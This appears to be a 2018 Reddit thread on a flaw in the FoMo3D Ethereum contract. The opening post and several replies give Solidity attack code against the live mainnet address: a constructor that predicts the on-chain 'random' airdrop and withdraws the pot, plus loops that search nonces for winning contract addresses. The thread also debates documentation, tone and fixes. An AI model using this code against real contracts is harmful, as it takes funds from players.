I found out about FoMo3D today and saw that it's an pyramid game holding an insane $12M stash currently. Looking through the code, it's multiple contracts totaling thousands of lines of code. Let's be honest, $12M inside thousands of lines of Solidity... that's asking for it.
One thing that immediately caught my eye whilst looking through their code was:
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
Ok, lemme rename that. I believe `isHumanOrContractConstructor` is a much better name for it. I guess you see where this is going. If the entire FoMo3D contract suite is based on the assumption that it can only be called from plain accounts (i.e. you can't execute complex code and can't do reentrancy)... they're going to have a bad time with constructors.
We now have our attack vector, but we still need to find a place to use it. I'm sure there are a few places to attempt to break the code, but the second thing that caught my eye was:
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
Oh boy! On chain random number generation... just what we needed! I.e. at this point, we can create transactions that within their constructor can calculate the result of this `airdrop()` method, and if it's favorable, can call arbitrary methods on the FoMo3D contract (potentially multiple times).
Looking through the code to see where `airdrop` is being used, we can find that that any contribution larger than 0.1 Ether gets a chance to win 25% of some ingame stash. And that's the last missing piece of the puzzle. We can create a contract that can 100% win (or not play in the first place). So, here's a full repro (**I didn't test it mind you, just wrote up the pseudocode, it may not be fully functional yet**).
pragma solidity ^0.4.24;
interface FoMo3DlongInterface {
function airDropTracker_() external returns (uint256);
function airDropPot_() external returns (uint256);
function withdraw() external;
}
contract PwnFoMo3D {
constructor() public payable {
// Link up the fomo3d contract and ensure this whole thing is worth it
FoMo3DlongInterface fomo3d = FoMo3DlongInterface(0xA62142888ABa8370742bE823c1782D17A0389Da1);
if (fomo3d.airDropPot_() < 0.4 ether) {
revert();
}
// Calculate whether this transaction would produce an airdrop. Take the
// "random" number generator from the FoMo3D contract.
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp) +
(block.difficulty) +
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) +
(block.gaslimit) +
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) +
(block.number)
)));
uint256 tracker = fomo3d.airDropTracker_();
if((seed - ((seed / 1000) * 1000)) >= tracker) {
revert();
}
// Ok, seems we can win the airdrop, pwn the contract
address(fomo3d).call.value(0.1 ether)();
fomo3d.withdraw();
selfdestruct(msg.sender);
}
}
I didn't get to try out my little exploit, because the attack loses 0.1 ether for every "airdrop" call, so the only way to make it worthwhile is to wait until the airdrop's prize is > 0.1 ether. Given the 25% payout, that means airdrops need to total to > 0.4 ether. However, I saw a peculiarity that it never actually went above that value. So digging through the chain, I actually found someone who was skimming the airdoprs for 2 days now :))
https://etherscan.io/txs?a=0x73b61a56cb93c17a1f5fb21c01cfe0fb23f132c3
https://etherscan.io/tx/0x86c3ff158b7e372e3e2aa964b2c3f0ca25c59f7bcc95a13fd72b139c0ab6f7ad
Their attack code is not really available, but looking through a successful transaction you can see that they have a more elaborate pwner code: they try to deploy a new contract, but if the address is not a winner (per the evaluation of `airdrop()`, they don't revert, rather keep creating nested contracts until one succeeds). GG!
This attack only PWNs 1% of the FoMo3D contract suite as only that's the amount sent into airdrops. But to paraphrase the devs from their contracts: **"lolz"**.
And the team's reaction: yeah, we knew our 12M contract can be broken, no biggie.
I don't know why this is being downvoted. Great post Péter, a lot of smart contract developers forget that extcodesize
will return zero when a contract is being deployed.
I don't know why this is being downvoted
It probably isn't outrages to imagine it's the very same people who's been spamming these subs with ads in the last 2 weeks.
Because hes showing the flaws in a smart contract which in an open-source community is a good thing and promotes better security?
1 more reply
Team JUST reported this to you directly when the exploit was found in the running game Peter. Outlining clearly that the Ethereum documentation and responses by the ETH team/spokespersons show that this exploit should never exist in the first place.
When you were alerted to it you gave this response. https://i.imgur.com/a7Z6Akc.png
Where as the official public stance on this exploit states it cannot happen, as seen here from a moderator of ETH on stackexchange. Who provides consistent and clear answers to many solidity questions for millions of developers. https://ethereum.stackexchange.com/questions/14015/using-evm-assembly-to-get-the-address-code-size
Team just was very disheartened to receive such a dismissal of an exploit/communication failure of this size. The most readily available documentation for solidity, and the EVM is ... at best difficult to navigate for information like this. With all surface level information for this exploit clearly and visibly directing anyone trying to learn the content towards this type of attack not being possible at all.
The tweet you linked (that we have since deleted) was a community moderator that spoke poorly on the subject. We have a very skilled set of solidity developers as evidenced by our content, but we are, as all developers constantly learning about the beautiful creation that is ethereum and the intricate problems we must protect against.
I don't really know what the community is going to think about the fact that you have had this exploit submitted directly to you by Team JUST directly, and then turned around and created social media/reddit posts to attack the very developer that submitted it to you, by claiming that you have figured out how to exploit it.
We already told you how to exploit it, in fact, we already told our community how to exploit it. There's a full contract toy we created weeks ago when it was discovered in our live game that lets anyone in our community roll for a chance at the airdrops. We figured if it was broken why not let everyone play with it.
Anyone can attempt to roll for airdrops (At about a 10-50x higher chance than normal) with our contract. https://inventor-tech.github.io/GohanMode/1337.html It's pretty much free eth, have fun, (you do need a registered name for our game first though).
The opcode works as documented. RTFM. And I explained clearly in your email that a constructor returns empty and also *why* it does so.
> Team just was very disheartened to receive such a dismissal of a massive exploit in the EVM that puts millions of ethereum at risk.
It's working *as*intended*. Whether that's how you personally would like it to work is irrelevant.
The opcode works as documented. RTFM.
Out of curiosity, why wasn't this the response to the reentry problems in the DAO? The behavior of using call
on a contract was also documented at time.
Cryptocurrencies operate on the "Family Guy Spiderman" system: Every project gets one rescue.
Well, it was. At no point did Ethereum consider changing how `call` works due to the DAO hack. The fork was clearly recognized to be a bail-out for poor coding, done due to the sheer percent of total ETH in circulation that was taken. I don't think the quality of `call`s documentation was ever in debate, actually. Additionally, extcodesize is using solidity's assembly, which affects the ethereum team more if there's an issue. The DAO did not use assembly, so if there even was an issue then it would be solidity's fault and not the ETH team's. Though, in reality, it wasn't solidity's fault either.
I would like to know if it's true that the devs informed you of the vuln prior to you writing this post, because your op absolutely reads as if you discovered it yourself.
Sure, EXTCODESIZE returns the size of the code at a given address. That's completely accurate. What than answer could have been extended with was that the code of a contract gets created *after* the constructor is called because *the constructor is creating the code*. Although I think this is mostly obvious, that you can't get the size of a code before you actually create that code.
> Your team's communication has put the solidity community at risk.
Our team's communication is the yellow paper. If you go to a random website and find incomplete information, don't blame that on me.
Would it not be logical then that extcodesize be the size of the constructor, while it is executing?
Actually, I suppose not, since it is defined to be "the size of the code at a given address". And in this case the code at the given address is truly indeterminate, as opposed to being the size of the constructor.
What matters is not how it works, or how you intend it to work. But how you tell the solidity community that it works.
extcodesize
has nothing to do with Solidity. Also I think it's behavior cant be anything other than it is since when a contract is being deployed it is the return value of the code in the transaction that is being deployed, so at runtime it's probably theoretically impossible to know the exact size of the deployed contract code.
For example you could do something like:
if (extcodesize(this) > 0) { return 0 } else { return [some code....] }
in the constuctor transaction, which results in a paradox.
By the official Eth representative on StackExchange, stating in no uncertain terms that "A contract cannot fool EXTCODESIZE to return zero for the contract's size.".
The user "Eth" on StackExchange is not an official representative, though. Just someone who got that username.
There is no such thing as an official representative, ethereum is decentralized. Closest you can get is someone that has contributed code relevant to the topic.
"Bring down that boy who wears the funny shirts with the maymays on them!"
There *is* a reliable way to determine if the caller is an external account - check if `tx.origin == msg.sender`.
It's still a terrible idea to depend on this. It shouldn't matter if you're being called by a smart contract or an external user, and if it does matter for some reason, you're probably doing something dumb. For a start, anything a contract can do, a miner can do with an external account, since they have total control over transactions in any block they mine.
I'm not sure that way will work after account abstraction is implemented.
It won't - but nor will anything else.
Basically, all accounts become contracts, allowing cool things like paying for gas in tokens, better privacy, and contracts that call themselves periodically.
https://ethresear.ch/t/a-recap-of-where-we-are-at-on-account-abstraction/1721
Why are relying on stackexchange to get critical info about your smart contract? No one to blame here but yourselves.
Also, even Stack Exchange knew better https://ethereum.stackexchange.com/questions/50238/tx-origin-to-block-contracts-from-call-my-game/50249#50249
This is exactly the reason why even if you think you are a good solidity developer you send your code to someone else for an audit. I am guessing the team did not do this. Sure it might have slipped from an auditor.
It passed through a good 10+ internal auditors and a bug bounty. Then our code was open source a week leading up to the activation of the project with bug rewards handed out and a full re-deploy of the content to fix exploits/issues players found.
The exploit was never submitted because the people who found it were interested in using it. One of which is posting in this thread about his own copy paste of our project.
Where are the audit reports? Anyone worth his salt would point out that this is an antipattern and even if it worked the way you intended, wouldn't secure the contract.
Why did you change your comment after being shot down?
If it passed through 10+ auditors and none of them found it, they were not good auditors.
Why don't you take responsibility for your own massive fuck ups? Hmmm?
Why did you modify your comment? It's disingenuous that you completely replaced your original post with something else based on the replied you got.
This is how Justo has always worked. Deflect, deny, distract. Repeat.
If you think it's disingenuous here, you should see how his Discord is handled.
lol norsefire the famous scammed is here Lmao how you feel after scamming thousands worth ETH.
Yawn. Same old tired tripe. If I’d done half of the things I’m alleged to have done I’d have disappeared long ago. I sure as hell wouldn’t be posting on Reddit with this account.
With that said, any evidence that I did anything under the Imperius curse would be welcome, but you’re as likely to see a dodo.
I would have thought that the brainwashing from Justo would have stopped - in fact only yesterday I was saying with some relief that he’d cut it out. Guess I jinxed it.
For what it’s worth, remember how Justo’s wildly fantastical post claiming all that stuff about me was deleted by mantso? You might want to check in with him. He’s pretty much the only one I respect in there. If he’s half the person I think he is, he’ll set you straight.
I know “trust but verify” is all but dead nowadays, but try the latter sometime.
Have a good one!
Thank you for contribution and transparency. Excellent post.
the copyrighted website and design you stole
Open source means you're supposed to copy things. F3D didn't audit, so now someone who knows how Ethereum works made their own version.
That's how it works. There is no copyright, and if F3D actually tried to copyright the concept of an online bidding lotto they would almost certainly fail.
EDIT: Looking through the thread makes me think that you are the founder of F3D. Don't sweat too much about clones, you have the name recognition and the type of idea that really only should work one time. This bug is 100% your fault though, and not the fault of the Ethereum devs.
sure the source code can be used, but the logo and brandname? no that is intellectual property.
can you share your airdrop exploit contract for learning purpose?
Peter, human interactions are not 1/0. You can be right and humble/polite as well as wrong and humble/polite. Given the position you’re in and the power you wield, it would be wise to learn how to be a bit more graceful and humble in your public interactions with people.
Are you talking about this post? It seems pretty mild and factual to me. You should see some of the audits we wrote at my old job last year.
If they didn't want comments like this to be made in public, they should have gotten them in private by getting an audit.
I'm digging a pit for the whole hog - preparing for a 12-hour roast.
I just planted some corn. Popcorn should be ready around climax arguments
Only mentioning this because I think it may be lost on some folks:
Knowing/Leaving a bug like this in a contract is not a "Wow, I hope they don't get scammed." moment.
It's "Wow, I bet one of their developers knows about it and they're scamming customers/business."
That's lost on a lot of non-devs and most devs as well
"Never attribute to malice that which is adequately explained by stupidity." -Hanlon
When customer funds are at risk, you plan for failure and mitigate their loss at your expense.
Never attribute to stupidity that which is adequately explained by malice
This miscommunication was based on the tweet from one of our community staff. It's not the case or we would have resolved it.
https://inventor-tech.github.io/GohanMode/1337.html
Has been available to our community since we discovered the exploit to play vs the exploiters for the funds.
Relevant article:
This can be done by ensuring that the caller of Token.buyTokens also submits an ECDSA signature which can be checked by ecrecover. This 100% prevents a smart contract from participating since smart contracts can never have private keys, hence they cannot sign. NOTE: Do not use the EXTCODESIZE check to prevent smart contracts from calling a function. This is not foolproof, it can be subverted by a constructor call, due to the fact that while the constructor is running, EXTCODESIZE for that address returns 0.
https://medium.com/@matthewdif/mechanism-design-security-in-smart-contracts-87f08555b38b
EDIT: Thinking about this more, a contract could implement ECDSA and supply a signed message on-chain. Of course this would mean exposing the private key to the blockchain and it would take a lot of gas, but theoretically might be possible.
A contract doesn't have a private key - so the signed message would not be signed by the sender address.
I think (post-edit) /u/BroughtToUByCarlsJr meant a full on-chain ECDSA suite for signing messages that can take a private key as a call argument, or perhaps have it in code/storage.
I understand that - but a smart contract that can do that still wouldn't be able to sign messages as coming from its own address, because there is no private key whose public key hashes to the contract's address.
Their attack code is not really available, but looking through a successful transaction you can see that they have a more elaborate pwner code: they try to deploy a new contract, but if the address is not a winner (per the evaluation of `airdrop()`, they don't revert, rather keep creating nested contracts until one succeeds). GG!
The cool thing is that since contract addresses are deterministically created, you don't need to actually create N contract until a correct one is found, you can just iterate within your constructor until you find one that has a winning address.
It's actually pretty cheap, so you can easily calculate if exploit is worth it, just need something like ;
// Sender address for a given contract instance
address newSender = address(this);
// Number of contracts that needs to be deployed
uint256 nContracts = 0;
// Iterate until one of the child contract has a winning address
while ( !isWinningAddress(newSender) ) {
newSender = address( keccak256(0xd6, 0x94, newSender, 0x01) );
nContracts ++;
}
// If number of contracts to be created makes it worth it, exploit
if ( costToExploit(nContracts) < fomo3d.airDropPot()) {
exploit(nContracts);
} else {
revert('Exploit not worth it')
}
Note that such an attack could've been prevented by requesting sender to provide an ECDSA signature or with a two steps process requiring the same sender to send two transactions (in addition to the isHumanOrContractConstructor
modifier).
Team JUST already released this as a toy for its community to play with against the main airdrop pot.
That it's easy to exploit the contract without risking to spend too much gas.
That's true!
A less bounded version would therefore have a while loop like ;
...
uint256 nonce = 0x1;
// Iterate until one of the child contract has a winning address
while ( !isWinningAddress(newSender) ) {
newSender = address( keccak256(0xd6, 0x94, address(this), nonce) );
nonce ++;
}
if ( costToExploit(nonce) < fomo3d.airDropPot()) {
exploit(nonce);
} else {
revert('Exploit not worth it')
}
This is fine since you do create a new contract iteratively instead of doing it recursively. According to the yellow paper, a contract's nonce is incremented when it creates another contract, hence you can create many child contract from the same contract. Of course, you are still limited to the block GasLimit
.
Yes agreed, destroying the contracts is most likely worth it, but can only cover up to a certain amount. I believe it might be more efficient to self destruct the contracts as you create them, as I doubt this decrements the nonce of the parent contract and would save you the cost of calling the contracts a second time.
Definitely a bunch of ways to make this more efficient!
This is an awfully inefficient way to do it, there are better ways this burns too much gas creating contracts.
So this approach is a long haul one which costs more gas to initially set up but saves alot more if you are going to use it a bunch, but the general idea is create one main contract and 128 minion contracts (or less if you don’t want that many) that are controlled by the main one and each of these minion records their current create nonce then you record the addresses of all of these minions in the main contract and this is also the contract where the airdrop calculation is done and the .1 ether is stored then in the big for loop it polls each minion for their current nonce and calculates what address it would generate then runs the airdrop function, if it wins pass the eth to that contract and allow it to create its winning contract and then self destruct back to the main contract then increase the nonce for that minion otherwise if it is a loser just continue on to the next one also if one address fills up, going to 128 nonce meaning it won 128 times you can easily just swap in a fresh contract and let the cycle continue. So this would do the same amount of tries as yours but upon detecting a winner it will only generate 1 contract instead of dozens.
Hey, Blame_it_on_lag, just a quick heads-up:
alot is actually spelled a lot. You can remember it by it is one lot, 'a lot'.
Have a nice day!
The parent commenter can reply with 'delete' to delete this comment.
Yes, that's definitely better on the long run.
i have a developer question please .if somebody can explain .
in the PwnFoMo3D contract . msg.sender will be my "human address" that sends transaction to the PwnFoMo3D contract . but in this address(fomo3d).call.value(0.1 ether)(); call the msg.sender will be the PwnFoMo3D contract . right ? so your airdrop() function will return diffrent values isnt it ?
Ah, fair point, that needs to be changed to the contract's own address. Good catch.
I have no idea what you just said in detail, but I generally understand you are exposing a code weakness and possibly a scam. I feel that is a public service, which I am not skilled enough to do myself, but can certainly contribute by up voting.
If anyone wants try out the extcodesize
exploit in question, take a look at Level 14 on Ethernaut - there is also some bitwise trickery involved to solve it but otherwise it's a good example of this particular quirk.
What’s interesting is that these « attack contracts » have evolved to also exploit the airdrop of all the copycats Fomo3D contracts which all have the same vulnerability.
https://etherscan.io/address/0xdb91670cb86a36067a72a4e73b283bb5cdbd4e58 for example.
Assuming isHuman is done correctly, can we still exploit “random” number generation? Can a miner check the airdrop condition, and send a transaction immediately if the condition meets?
Nice bit of work, thanks for taking the time to write it up.
I wrote a Medium article mentioning this post here: https://medium.com/@admin_44913/fomo3d-and-dangerous-game-theory-97bd5f47ab3b
Regardless of whether it's hackable, I do think that FoMo3D's model is the real deal. The article is an attempt to get at the underlying game theory especially since, it seems to me, Smart Contracts might be uniquely able to solve the issue.
This is a good article, but the specifics don't translate very well here. In Fomo3d, new purchases pay out dividends to previous participants, and the price of a winning ticket scales in such a way it will remain orders of magnitude below the jackpot, to the extent no winner would ever be able to have spent more than the jackpot.
The game is closer to an "infinite money pit". Most participants don't expect to win, instead they're making a bet it will last so long they will make a return on their original purchase. This is where we loop back to the frenzy you mention leading people to bet $2000 on a $20 bill: it could take centuries for new entrants to turn a profit at this stage of the game, and it's simply not rational to get in now.
Likewise, older participants are motivated not by sunk cost fallacy but by realised gains: once they see ether dripping to their wallet, the reality of it solidifies in their minds and they start reinvesting these gains, even though rationally each new investment will bring less returns than the previous one. Ether flows faster and bubble behavior ensues, the eponymous "Fomo" at work.
Thanks for the well-reasoned response. I did know about the dividend aspect but it seemed secondary to me. That is, the dividend is a "greater fool" purchase you make because you expect the game to take off, right? So if no more keys were bought to unlock the 12m then there'd be no reason to buy a *new* key for a dividend. So you're right in saying that "older participants are motivated... by realised gains", but the older participants are just HODLing as far as I can tell. As a result, their behavior doesn't affect the game going forward.
Or to be more specific, if you could convince the entire world to stop buying keys to unlock the 12m, would there be any reason for dividend seekers to buy more keys for dividends?
You're right, there wouldn't be any reason if the entire playerbase could cooperate. In practice we have the usual prisoner dilemma where "people won't quit spending $10 for a chance at $10MM", leading most players to believe keys will be bought at the minimum rate of 2880 per day (each key adding 30 seconds to the timer) for sustenance. Which then pushes many other players to think if everyone knows the game lasts forever, then surely there will always be a greater fool who buy more keys to get more dividends, and so on.
There is a clever/manipulative design to the UI itself, which encourages you to use your current gains to reinvest directly for even more keys - and as far as I can tell from casual observation of the contract and the stated behavior of people in the Discord channel, this is a successful hook.
There's another gamification aspect to owning a certain number of keys pushing players to reinvest. A third-party website indexes addresses and corresponding key amounts, which makes for ranking, climbing the ladder, competition in having a bigger proportional share.
Strange as it may sound, there is enough "game" value in watching a number grow the number of players who will buy keys for the sake of buying keys is not inconsequential, especially once they've covered their initial and are playing with "house money". This is behavior we've seen in the pyramids preceding this game. Much of the ETH flowing to dividends is recycled, with some players compounding their share endlessly with seemingly little regard for profit. I'd posit some of these players find value in the community surrounding the game and their status within that community that exceeds the monetary aspect as soon as they're in the green.
Very early participants made obscene returns on their ether, to the tune of 10x or more. Looping back to the neverending game argument, these players can easily spend a trivial amount of their gains to secure key buys through bots when the contract balance is low. Whether this comes to play in reality is another question, but the perception this will play out this way leads other players to higher expectations of returns. Yet another way early adopters influence the game without necessarily playing it in an active manner.
That’s really good analysis, thanks. Could you post the Discord link if you’re able?
The problem is they can't fix it and they can't make a clone and just copy everything over because unlike with tokens where you could just "declare" the old one as useless and drop new ones 1 to 1 this is actually holding real ETH and is dependent on the ETH in the contract.
So if you find a bug... they can just say good we knew that at some point someone would find a way to break this because there will always be bugs. There is nothing that they can do against this and no way to patch it so they just have to live with it.
as long as this is the only exploit, this will only increase the pot as people compete with the exploit.
However If another exploit is found where accounts are being emptied somewhere, then that is trouble. It could even be saved until the pot gets big enough. At least the team's first warning in the rules state this could get hacked so people playing at least understand the risk.
There's still 21,400 ETH in the contract. When Drain? I want round 2 to begin already and 10x my ETH!!
Given that OpenZepplin offers a util that uses the same validation for checking "isContract" I imagine there are other contracts out there that also use this check inappropriately.
https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/AddressUtils.sol
I believe this particular routine isn't used for security reasons, but because some token standards (most obviously ERC223), require slightly different behaviour if sending tokens, and the recipient is a contract.
In this case the msg.sender == tx.origin
trick is not useful, since it's not the sender that we want to check (so this doesn't work) and in any case we can (usually) assume that if someone is sending tokens to an account, they are OK with the recipient doing whatever they like once they get the tokens (although this does have the interesting consequence or making re-entrancy issues a possibility for ERC223 transfers).
I only don't get how he fools Fomo3d contract into thinking he is hitting them from a plain address and not the contract he's hypothetically using to own their contract.
Because that's the whole business really, there are not other ways that I'm aware of to know the origin of a call, and it's extremely important to have a reliable method for that, otherwise it's gonna get even harder to code complex contracts in the EVM.
Anyone cares to explain?
That's not an exploit, that's documented and logical behavior. Try again.
I guess one could make it a non defined call when called in a constructor. But that would make it even more inconsistent (but this bug would have been avoided). This would also be an exception how it behaves normally. I think 0 is more logical outcome.
Since you can call from the constructor a function within the body of your contract that determines the extcodesize of the contract running that function is 0. I think it's reasonably paradoxal to have it not return anything.
Functions are a solidity abstraction, the evm doesn't know anything about them.
You've said you think returning 0 is wrong; what should it return in this situation?
Ooh! So he's basically just putting all the logic in the constructor and that's it? That stupid? (Not OP, but this EVM "bug")
Oh, so maybe this contract can be drained, after all. There are definitely some reentry opportunities in there... I just didn't know there was a way around the isHuman
checks. :)
Let's be honest, $12M inside thousands of lines of Solidity... that's asking for it.
XD
Very cool writeup, and very nicely put together! I love reading about smart people coming up with clever exploits like this.
Never planned to exclude contracts from anything so far, but good to know about the constructor returning 0.
I bet you prevented future issues by making more people aware.
Thanks :)
everything expressed below this post makes it pretty clear what type of human you are, which is disappointing, but mostly for you.
the fact that you posted it on reddit speaks more than anything else really. well done.
"pwning" is pretty much a dead meme, but it's taken on it's own definition as a legitimate term in CTFs and hacking culture. The title isn't nearly as bad as you think
This could provide a way to end this never-ending contract before a collusion between miners.
If we can reach a very wide consensus on what to do with the pot, a contract can be made to get the pot and handle the money : give to charity, randomly chose some winners amongst players, return funds to bidders, ...
The most difficult part would be of course to convince everybody (including Fomo3D owners) to stop bidding once the contract is in position to win but this would be a positive ending for the Ethereum network.
bool isHuman = tx.origin == msg.sender
: the solution to the "problem", if anyone's wondering...
Soon as, this place is getting hacked? Damn, smart contracts are getting more pointless and vulnerable everyday.
Why does the EVM have developers resort to hacks in order to determine if the given account is a smart contract? Why not just add an isSmartContract()
function??
They said they think it's a bug. I replied it's documented and intended behavior. Check my reply, they made it public: https://i.imgur.com/a7Z6Akc.png
I'll gladly apologize for anything that you can point out I was wrong in. Please list them.
People who get hung up on tone rather than content are the cancer in this community, not developers being frank. It's the internet, you will never know the actual tone being used, not that it matters in the first place.
It's not an ethical problem at all.
/u/physikal this is for you too
I wonder what you two have in terms of experience developing software, especially for Ethereum or similar projects. At what point is it negligence on the part of the developer vs. actually poor documentation?
Frankly, core devs are no different from devs at any other company or even freelancers. They can say and act however they please - they are not our servants and do not represent anything but themselves and sometimes their company, but never Ethereum as a whole. That's probably difficult to digest because it's not very normal, but for a decentralized ecosystem like this it's how things are.
Now, I won't play dumb and pretend that the EF/core devs aren't the primary face of Ethereum, but they do not own or control it. A completely separate entity can and probably should come about with equal or greater influence.
I honestly think you're virtue signaling a bit here whether you realize it or not, but I think /u/karalabe is demonstrating something really nice about Ethereum with his tone - the fact that it doesn't fucking matter what tone he takes because this is not some ethics-driven political show, it's creating the decentralized future.
For you to define what core devs incentives/interests are is pretty laughable to me for the same reason that "everyone can be free to exercise their creativity" with the caveat "how ever they fucking want to". I like seeing negative tones, positive tones, professional, and downright vulgar tones all "representing" Ethereum because that is what really best represents a decentralized platform. If you don't like it, that's all good, but don't censor or tell people how to act.
I have a decent amount of experience with developers. I personally wouldn't consider myself a developer. I have lead/managed a number of projects from webdev to game dev with a good deal of success. So I would say I have some level of understanding.
I wasn't intentionally virtue signaling, but I guess I was and am fine with that. You're missing my point, and your expectations of people in leadership roles in large world changing organizations are low, in my opinion. /u/karalabe is in a LEAD Development role. I doubt that involves people manager skills, but if it does, even higher expectations should be placed on him.
As you said...EF is creating a decentralized future. Does that give someone different rights? VB is a major player in EF and he's constantly talking about treating others with respect, etc. etc. The fact that /u/karalabe is playing such a significant role in a decentralized future is all the more reason he should be conducting himself in a mature manner. He should be setting the example, not being the source of drama. The approach he took showed a level of immaturity and lack of business acumen that will most likely come with time.
These are all of course just my personal opinions. But we have to remember what we're doing here...we're looking to change the world. Our success in these changes, like it or not, depends on our ability to communicate effectively and in a way that doesn't put peoples defenses up and promotes community support and involvement in a positive way.
Do you think when someone uses Visual Studio in a way Microsoft didn't intend and it creates an exploit...they publicly shame this customer? I doubt it. I think they most likely welcome their support request and team with that company (their customer) to figure out a better solution. Tesla, Apple, all of them would handle it in a similar manner, I feel.
I can provide feedback any time I want. I wasn't telling him how to act, but even if I was, that's fine. That's my opinion. I didn't get where I am in my career by not making mistakes and not having people call me on them. Every single day I go to work I ask my boss, my employees, everyone around me "How can I improve", and that applies to EVERYTHING. If people don't tell you where you're making mistakes, you won't grow. So talk all you want, asking me and whoever else to not "tell someone how to act". But I'll keep helping people grow. I just look at it different than you I suppose.
Edit - Just to clarify for those that want to get technical. Even if Microsoft were to CLEARLY state/document "This was designed to do this", and they use it another way....because it's possible. That is using it in a way they didn't intend.
I respect your opinion, I just think its every bit as valid as my own which places more importance on the freedom to talk without tiptoeing around.
Does knowing I'm a mod of ethdev, ethereumnoobies, and other subs change your perception of my comment? Am I representing those communities / Ethereum poorly in your opinion? I've been "called out" several times for my tone and language, so this is really a debate I have some stake in and have thought about a bit.
I 100% agree with the no tiptoeing. I am constantly bitching about the amount of time that is wasted now days because someone was "offended" by what someone else said when others needed thicker skin.
So far my interaction with you is what I would consider positive and constructive. However, I think /u/karalabe approach was not positive and constructive...I also don't feel Team JUST's was. Had /u/karalabe posted his findings in a different manner I would have been focusing on thanking him rather than critiquing him. That's my exact point...when you don't communicate effectively your msg gets lost. The fact that he is who he is is what makes his approach so much more bothersom. If it was just some joe shmoe talking about "how to pwn" a contract on EVM I wouldn't think twice about it. However, /u/karalabe is a TEAM LEAD for EVM.
In my opinion, a team lead should have posted something along the lines of "Team JUST reached out to me regarding what they consider an 'exploit', when I notified them the behavior is exactly as expected, they took to the public in immature fashion. This made me wonder if the rest of the community could potentially make the same mistake with this fuction - so let me elaborate on the mistakes Team JUST made and how they could improve their airdrop code."
Something along those lines. Again, not instructing him on how to behave. But my personal opinion, someone in a position like his should be more professional. Especially if the GLOBAL eye is looking at EF as a world leader taking us into a decentralized world...you want to make sure your team is behaving in the way a world leader should. With respect and professionalism. This doesn't mean you can't make jokes or have fun...look at VB. He's goofy as hell, is enjoying life...but is respectful and courteous.
I also want to clarify when I say VB is goofy as hell, that's not a comment on his mannerisms or awkwardness that everyone gives him shit about. It's about him always cracking jokes and just having fun.
With this bit of nuance I think I understand where you're coming from a lot better and can agree with you.
I wonder what you think of somebody like Taylor Monahan's language at times.. See this little search. In particular this one.
I've always supported Taylor and MEW/MC, even the language used in these choice examples.
This is fucking crypto
I'm really looking forward to when MC has that on a shirt, it's pretty much the epitome of what I'd like crypto/Ethereum to feel like for the next couple years.
This! I keep seeing his excuse be "It's exactly as it was designed! It's behaving like it was intended to behave!". Not "Oh...shit...interesting use of this, now that I see a down side to it let me talk to the team and look at ways to revamp it if needed."
Something along those lines. And this is a LEAD! I love EF, I'll always be a huge fan and have faith to the bitter end...but someone that acts like this needs coaching.
The main point is that if you deploy contracts like this which probably get a load of volume due to the people who the team can reach, you need to be absolutely sure that shit like this doesn't happen. Although it's a minor exploit, the airdrop can almost never be won by "normal" people because it just makes a load of profit. 1% of the total volume goes to airdrops which can now be botted. This should never happen and WOULD never happen if the team decided to do a public audit - but they didn't because they were too scared for clones.
This user has copied every project we have created, and is found elsewhere in this thread advertising his own attempted copy at Fomo3D. Which shamelessly rips off everything we built for his own profit.
To further your point. The bozo explicitly says he copied your work (FOMO3D devs) and fixed it. Lol lol. What he fixed was an extra 30 percent in profits for himself more than likely. Cloning such a shame.
As an outside observer, not having any stake in this debate whatsoever
Yet your username is "CryptoDao" in reference to the most controversial event in Ethereum's history, so imho it seems a tad unbelievable when you say you aren't jaded.
You develop a contract called "exit scam", the code is full of "lolz" and have a loophole in it actively being exploited for 2 days now. I'm sorry, at this point I don't trust the devs and rather see the whole thing stopped than letting active attacks go unnoticed.
In everything you listed I don’t see a reason to handle this the way you did. Not attacking you, just being blunt in saying you probably could have handled this in a more private manner and the outcome would have been far more productive. People wouldn’t have got defensive, teamwork would have taken place, and Ethereum/The Community would have benefited. Instead you created drama, for what feels like personal reasons (you don’t like lolz, and you don’t like the FOMO3D concept). No offense.
What more productive outcome could there have been? The code is already deployed. It's clearly to the community's benefit that these loopholes are known and it highlights the risk of further undiscovered bugs. I don't think the team behind "exitscam" would have been incentived to publicise this bug as there's nothing they can do about it.
I can’t spell it out exactly, I just not working together is always more productive than drama :)
Interesting writeup. For the record, the airdrop has been exploited since the contract's inception, 2 weeks ago.
On another note, what does "lolz" represent to you that you seem so irate about it? From a cursory look at the contract, it's only used once (and copypasted several times) to refer to tricksters who might want to use their own referral code.
So they told you about this week's ago and you didn't address it? But you are admitting here you neglected your duties and are trying to cover your ass? Or.
Nope, they told me they think it's a bug, and I explained why the behavior is intentional and exactly how it works.
It's documented in the Yellow Paper, it's logical, it's a known behavior and it was even explicitly spelled out at https://twitter.com/matthewdif
As someone who's learning solidity, I really appreciate these kind of posts!
Me? Sure, not sure why you'd want to, but if you really fancy a chat then head over there. I'm SciPanda, and I'd be happy to take some time out of my day to have a pleasant conversation! :)
We're off to a great start! May the pleasantness of your day exceed even your wildest expectations and may the gods of fortune fill your coffers with all the worlds riches.
This has been reported to the discord channel yesterday and they seem to already know this was actively exploited.
They've always written a contract which at the heart is a scam and relies on exploitation of people. Both ponzi schemes and penny auctions are illegal in most modern countries for a reason.
hey etherollbro, team just is legit. and a lottery on ethereum smart contract can be the next spread of blockchain adoption!
That reason being governments enjoy having the monopoly of taking money away from people. Social security is a ponzi scheme you cannot opt out of, and state lotteries are pure games of chance where the odds are mathematically against you.
No, the reason being that these "games" are unwinnable and used to exploit people by feeding them an illusion. You can legally run a lottery or a bookmaker or a poker site or a casino in pretty much all of Europe, but you can't legally run a ponzi scheme or a penny auction because both are proven to be outright scams.
